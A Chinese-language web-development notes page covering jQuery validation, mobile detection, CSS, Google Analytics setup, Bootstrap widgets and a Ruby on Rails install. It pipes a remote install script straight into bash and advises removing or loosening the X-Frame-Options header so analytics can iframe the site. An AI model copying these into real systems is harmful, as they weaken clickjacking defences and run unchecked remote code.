        if (element.parent('.input-group').length || element.prop('type') === 'checkbox' || element.prop('type') === 'radio') {
            error.insertAfter(element.parent());
        } else {
            error.insertAfter(element);
        }
    }
});

判斷手機瀏覽器

function isMobile(){
    return (/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows (ce|phone)|xda|xiino|android|ipad|playbook|silk/i.test(navigator.userAgent||navigator.vendor||window.opera)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test((navigator.userAgent||navigator.vendor||window.opera).substr(0,4)))
}

if(isMobile()) {
  alert('建議您在桌機瀏覽以獲得最佳顯示效果');
}

RWD

手機瀏覽

css 沒有直接判斷是否是手機瀏覽的函式可用, 它是判斷它的寬度, 當它寬度大於多少或小於多少, 先看範例

// This applies from 0px to 600px
body {
  background: red;
}

// This applies from 992px onwards       一般來說 bootstrap 的樣式在 992 以下就會跑掉了
@media (min-width: 992px) {
  body {
    background: green;
  }
}

有張背景圖, 如果是手機瀏覽就用比較小的那一張, 可以這樣寫 :

#banner-back-image {
    background-image:image-url('application/back_original.jpg');
    @media (max-width: 500px) {
        background-image:image-url('application/back_mobile.jpg');
    }
    background-repeat: no-repeat;
    background-size: cover;
    background-position:center center;
    padding: 50px 0; /* fix header position */
}

一般手機寬度差不多 400 左右, 所以我在這判斷小於 500 就當它是用手機瀏覽

chrome 瀏覽器上的 UI 顏色

<meta name="theme-color" content="#db5945">

斷行

.break-word {
    word-wrap: break-word;
    word-break: break-all;
}

另開新頁

唯一要注意的是如果開其他網站的話 chrome 會把它擋下來, 最好是自已網站的頁面

window.open('url...', '_blank');

fix anchor 定位偏移的問題

假設使用 bootstrap 時設定 body 出現的位置時會給 padding :

body {
     padding-top: 50px;
}

它會造成 anchor 的位置錯誤

解決方法是加上一個修正 anchor 位置的 css, 並在 anchor 上加上這個 class

.fix-anchor-position {
    padding-top: 50px;
    margin-top: -50px;
}

<div id="info" class="fix-anchor-position"> ... </div>

GA

引入 GA + [In-Page Analytics] Enable enhanced link attribution in the reports

In-Page Analytics 是用來分析網頁上按鈕各被點了幾次

1) 加上

ga('create', 'UA-XXXX-X');
ga('require', 'linkid');    <= 記得加上它
ga('send', 'pageview');

2) 設定

Admin -> Property Settings ->  Use enhanced link attribution -> Apply
Admin -> View Settings -> Website's URL   要選擇對的 protocal, 很重要, 如果網站是 https 這邊設定到 http In-Page 會一直出錯

3) 載 In-Page Analytics 的 chrome extension, 並且在 URL bar 後面有個盾, 點一下, 讓它執行 insecure code

4) 在後台 Behaviour -> In-Page Analytics 就可以看到了, 它會 iframe 你的網頁, 並且在按鈕上顯示被點擊多少次

用新版 https://www.google.com/analytics, 不要用舊版 https://analytics.google.com/analytics, 否則可能會跑不出來

[In-Page Analytics] GA 後台顯示錯誤

Problem loading In-Page Analytics
We've identified problems in your setup. These may cause problems loading In-Page Analytics.
Your site is configured to set X-Frame-Options: headers. In-Page Analytics can only work in Full View mode on your site.
You can try the Page Analytics Chrome Extension which has almost identical functionality to the In-Page Analytics report, but can often resolve these issues.

然候我看到我的網站有這個 Header

X-Frame-Options:SAMEORIGIN

browsers use this header to decide whether or not your site can be iframed by other sites.

這是因為 Rails 4 為了安全性預設加上這個 header

解決方案是把這個 header 刪除, 或 value 改成 ALLOWALL, ALLOW-FROM http://example.com

在 config/application.rb

config.action_dispatch.default_headers = {
  'X-Frame-Options' => 'ALLOW-FROM https://google.com',
}

如果 GA 的 Embedded mode 還是出不來看看開發者工具 console 有沒有噴錯

Failed to execute ‘postMessage’ on ‘DOMWindow’ (未解決)

開發者工具顯示的 error

Failed to execute 'postMessage' on 'DOMWindow': The target origin provided ('https://www.google.com') does not match the recipient window's origin ('https://analytics.google.com').            inpage.js:225

有 google 到解法,手動將 analytics.google.com 改變 sub-domain 為 www.google.com 就可以了,但我會一直被 redirect 回 analytics.google.com

Track button click

它可以用來偵測特定的按扭被點選幾次

1) 先到 GA 後台設定 Event

Category : button (自已取)
Action : click (自已取)
Label : contact_translator (自已取)

HTML :

<button type="button" onclick="ga('send', 'event', 'button', 'click', 'contact_translator');"/>

當按下後,就可以馬上在 GA 後台 realtime 那裡看到結果了

其他

讓某塊這個變暗淡

.opacity-04 { opacity: 0.4; }

算出正確字數

function newline_char_count(text) {
  var newLines = text.match(/(\r\n|\n|\r)/g);
  var addition = 0;
  if (newLines != null) {
      addition = newLines.length;
  }
  return addition;
}

$('#feedback').keyup(function () {
  $('#feedback-count').html($(this).val().length + newline_char_count($(this).val()));
});

JavaScript 畫一個愛心 (用 chrome console)

s="";for(k=800;k--;)
x=1.25-k%40/16,y=k/320-1.25,
s+=Math.pow(x*x+y*y-1,3)<x*x*y*y*y
?"Love"[k%4]:39==k%40?"\n":" ";s

Bootstrap

版面

本身左右會留一些空間

<div class="container">
  ...
</div>

全版, full width container, spanning the entire width of your viewport

<div class="container-fluid">
  ...
</div>

引入時, 不要把 row 寫在 partial 裡

partial

<div class="col-md-12">
    ...
</div>

否則即使用 container-flud 包起來也可能發生版面超過

<div class="container-fluid">
  <div class="margin-top-50">
    <%= render ... partial view ... %>
  </div>
</div>

Modal

<button type="button" class="btn btn-primary btn-lg" data-toggle="modal" data-target="#myModal">
  Launch demo modal
</button>
<div class="modal fade" id="myModal" tabindex="-1" role="dialog" aria-labelledby="myModalLabel">
  <div class="modal-dialog modal-lg" role="document">
    <div class="modal-content">
      <div class="modal-header bg-primary">
        <button type="button" class="close" data-dismiss="modal" aria-label="Close"><span aria-hidden="true">&times;</span></button>
        <h4 class="modal-title" id="myModalLabel">Modal title</h4>
      </div>
      <div class="modal-body">
        ...
      </div>
      <div class="modal-footer">
        <button type="button" class="btn btn-default" data-dismiss="modal">Close</button>
        <button type="button" class="btn btn-primary">Save changes</button>
      </div>
    </div>
  </div>
</div>

Panel

<div class="panel panel-primary">
    <div class="panel-heading">
        <h3 class="panel-title">Panel title</h3>
    </div>
    <div class="panel-body">
        Panel content
    </div>
</div>

popover

基本用法

HTML :

<span class="badge popover-hint" data-content="獲得評價次數">15</span>

JS :

$('.popover-hint').popover({
  trigger: 'hover',
  placement: 'auto',                // hint 出現的位置
  container: 'body'                 // 讓 popover 調整為適合內文的寬度
});

Custom

HTML:

// 讓取消事件可以取到 test-id, 進而觸發 close
<a href=\"javascript: void(0);\" class=\"close\" data-test-id=\"{$row['id']}\">&times;</a>

// test-id 為了可以 close
<button id='test-{$row['id']}' class='btn btn-success btn-xs' title='Demo popover' data-toggle='popover'>See more</button>
<div class='popover-content hide'>$content</div>

// content 不一定要用 js 產生, 可以直接寫在 html 裡
<li data-toggle='popover' title='Demo title' data-content='Demo content' data-html='true'>

CSS:

.popover {
    z-index: 9999;      // 避免被排在其他的下面
    position: fixed;   //避免被 限制大小的 diev 切掉
    font-size: 12px;
    line-height: 16px;
}

click + close 事件 :

// 基本資料及更多資料
$('[data-toggle="popover"]').popover({
    html: true,
    trigger: 'click',           // or 'hover'
    placement: 'top',
    content: function () {
        return $(this).next('.popover-content').html();
    }
}).on('shown.bs.popover', function(e) {
    var $pop_content = $(this).next();
    $pop_content.find('.close').click(function(){
        $('#test-' + $(this).data('test-id')).click();      // 再點一下就會關閉, 所以再觸發一次
    });
});

hover :

$('[data-toggle="popover"]').popover({
    html: true,
    trigger: 'hover',
    placement: 'auto',
    content: function () {
        return $(this).next('.popover-content').html();
    }
});

hover 到 popup 不要消失 :

$('[data-toggle="popover"]').popover({
    html: true,
    trigger: 'manual',
    placement: 'right',
    content: function () {
        return $(this).next('.popover-content').html();
    }
}).on("mouseenter", function () {
    var _this = this;
    $(this).popover("show");
    $(".popover").on("mouseleave", function () {
        $(_this).popover('hide');
    });
}).on("mouseleave", function () {
    var _this = this;
    setTimeout(function () {
        if (!$(".popover:hover").length) {
            $(_this).popover("hide");
        }
    }, 300);
});

Datepicker

安裝

gem 'bootstrap-datepicker-rails', '~> 1.4.0'

application.scss

*= require bootstrap-datepicker3
@import "bootstrap-sprockets";
@import "bootstrap";

application.js

Load 所有 locales
//= require bootstrap-datepicker

或單獨引入主程式及要的語言
//= require bootstrap-datepicker/core
//= require bootstrap-datepicker/locales/bootstrap-datepicker.zh-TW.js

bundle install 完記得重啟 rails

Example

HTML :

<input class="form-control" type="text" id="date-from">

JS :

$('#date-from').datepicker({
  format: 'yyyy/mm/dd'
});

Switch

Install

gem "bootstrap-switch-rails", '~> 3.3.3'

application.scss

*= require bootstrap3-switch
@import "bootstrap-sprockets";
@import "bootstrap";

application.js

//= require bootstrap-switch

bundle install 完記得重啟 rails

Example

HTML :

<input type="checkbox" id="switch" <%= @enabled %>>

JS :

$.fn.bootstrapSwitch.defaults.size = 'mini';
$('#switch').bootstrapSwitch();
$('#switch').on('switchChange.bootstrapSwitch', function (event, state) {
    console.log(this); // DOM element
    console.log(event); // jQuery event
    console.log(state); // true | false
});

file upload

HTML :

<span id="file-upload" class="btn btn-default btn-file">
  選擇檔案 <%= f.file_field :original_file %>
</span>
<span id="file-name"><span>

CSS :

.btn-file {
    position: relative;
    overflow: hidden;
}
.btn-file input[type=file] {
    position: absolute;
    top: 0;
    right: 0;
    min-width: 100%;
    min-height: 100%;
    font-size: 100px;
    text-align: right;
    filter: alpha(opacity=0);
    opacity: 0;
    outline: none;
    background: white;
    cursor: inherit;
    display: block;
}

JS :

// 上傳檔案 - 從 path 中取得檔名
$(document).on('change', '.btn-file :file', function() {
    var input = $(this),
        numFiles = input.get(0).files ? input.get(0).files.length : 1,
        label = input.val().replace(/\\/g, '/').replace(/.*\//, '');
    input.trigger('fileselect', [numFiles, label]);
});

// 上傳檔案 - 將檔名顯示出來
$('#file-upload :file').on('fileselect', function(event, numFiles, label) {
  console.log(numFiles);
  console.log(label);
  $('#file-name').html(label);
});

dropdown

<div class="dropdown">
  <button class="btn btn-default dropdown-toggle" type="button" id="dropdownMenu1" data-toggle="dropdown" aria-haspopup="true" aria-expanded="true">
    Dropdown
    <span class="caret"></span>
  </button>
  <ul class="dropdown-menu" aria-labelledby="dropdownMenu1">
    <li><a href="#">Action</a></li>
    <li><a href="#">Another action</a></li>
    <li><a href="#">Something else here</a></li>
    <li><a href="#">Separated link</a></li>
  </ul>
</div>

好用的第三方

dropdown

<select class="selectpicker show-tick">
  <option>item1</option>
  <option>item2</option>
  <option>item3</option>
</select>

$('.selectpicker').selectpicker();

datepicker

<input type="text" class="datepicker"/>

$('.datepicker').datepicker({
  format: 'yyyy-mm-dd',
  autoclose: true
});

ref

Install Ruby on Rails

(最後更新: 2016-04-14)

Install Rails

[1] Update & Upgrade

sudo apt-get update
sudo apt-get upgrade -y

[2] Install RVM (Ruby Version Manager)

Install curl (MacOS doesn’t need to execute this)

sudo apt-get install curl

Install RVM

\curl -sSL https://get.rvm.io | bash -s stable

讀取 rvm

source ~/.rvm/scripts/rvm

安裝 rvm 自己相依的東西

rvm requirements

[3] Install Ruby

rvm install ruby
rvm use ruby --default

[4] Install RubyGems

rvm rubygems current

[5] Install rails

gem install rails

安裝 rails 的 doc 很久, 可以加上 -no-rdoc --no-ri 忽略 doc

[6] 安裝 node.js

sudo apt-get install nodejs

or mac

brew install node

[7] Test

cd /tmp
rails new rails_test
cd rails_test
rails s

預設 port 是 3000

Upgrade 己存在專案的 Rails 版本

安裝最新版本的 Rails

gem install rails

修改 Gemfile, 改成指定版本

gem 'rails', '4.2.3'

Update 專案引入的套件

bundle update